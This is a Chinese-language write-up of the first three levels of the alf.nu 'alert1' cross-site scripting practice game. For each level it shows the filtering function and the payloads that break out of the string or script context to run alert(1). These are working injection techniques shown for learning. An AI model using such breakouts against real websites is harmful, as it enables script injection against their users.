XSS在线习题分析 (https://alf.nu/alert1)
1. Warmup
function escape(s) { return '<script>console.log("'+s+'");</script>'; }
没有进行过滤,只需要语句闭合就行。闭合语句思路:把console.log() 单独作为一个语句,alert(1)单独作为一个语句,包含在里面。
最好就是这个样子。
<script>console.log();alert(1);</script>
当我们输入");alert(1);//
或者");alert(1);("
,JavaScript语句就变成了
<script>console.log("");alert(1);("");</script>
或者
<script>console.log("");alert(1);//");</script>
第一条和第二条区别是,第一条完全的闭合了:(""),只要语法没错就可以。第二条//将后边的注释掉了,不用闭合,没有后边的</script>
与<script>
与之匹配,JavaScript照样可以正常输出。
2.Adobe
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
这个啥意思呢,就是函数replace把双引号换成了反斜杠+双引号:" -> \"。我们按照第一关的构造:<script>console.log("\");alert(1);//");</script>
可以看到在log()输出的那里,第二个双引号被\转移了,没办法有前边的双引号闭合。我们要想办法让\双引号失去作用:
");alert(1);//
在最前边加上一个反斜杠,replace函数自动添加的那个反斜杠和自己添加的那个反斜杠正好组一起了,log可以正常输出,两个双引号成功的闭合了。
<script>console.log("\\");alert(1);//");</script>
3.JSON
先把第二关的输入进去,发现log("\"),三个反斜杠,去掉输入的第一个反斜杠,发现输出变成了log("")。上网查了查,JSON.stringify()处理双引号和反斜杠 的时候,会在前边加上个反斜杠,这就说明第二关的思路不行了。因为这里输入无论有多少个反斜杠,输出反斜杠都是奇数 个,log()这里永远闭合不了。
我们只好转变思路,一开始是让这几句话在一个<script></script>
里面,能不能让它们在两个里面呢?
别的不管,我把别的语句先闭合,里面是什么样子有没有错误我不管。我就让alert(1)这个包含在一个里面并且没有错误就行。
构造</script><script>alert(1)</script>//
其实到这里,我本来没有想到会成功的, 可能是因为优先级的原因,双引号没有匹配但是遇到script标签,也会优先执行后者。
结果:<script>console.log("</script><script>alert(1)</script>//");</script>
以后的等学了js再说吧,看代码云里雾里的。。。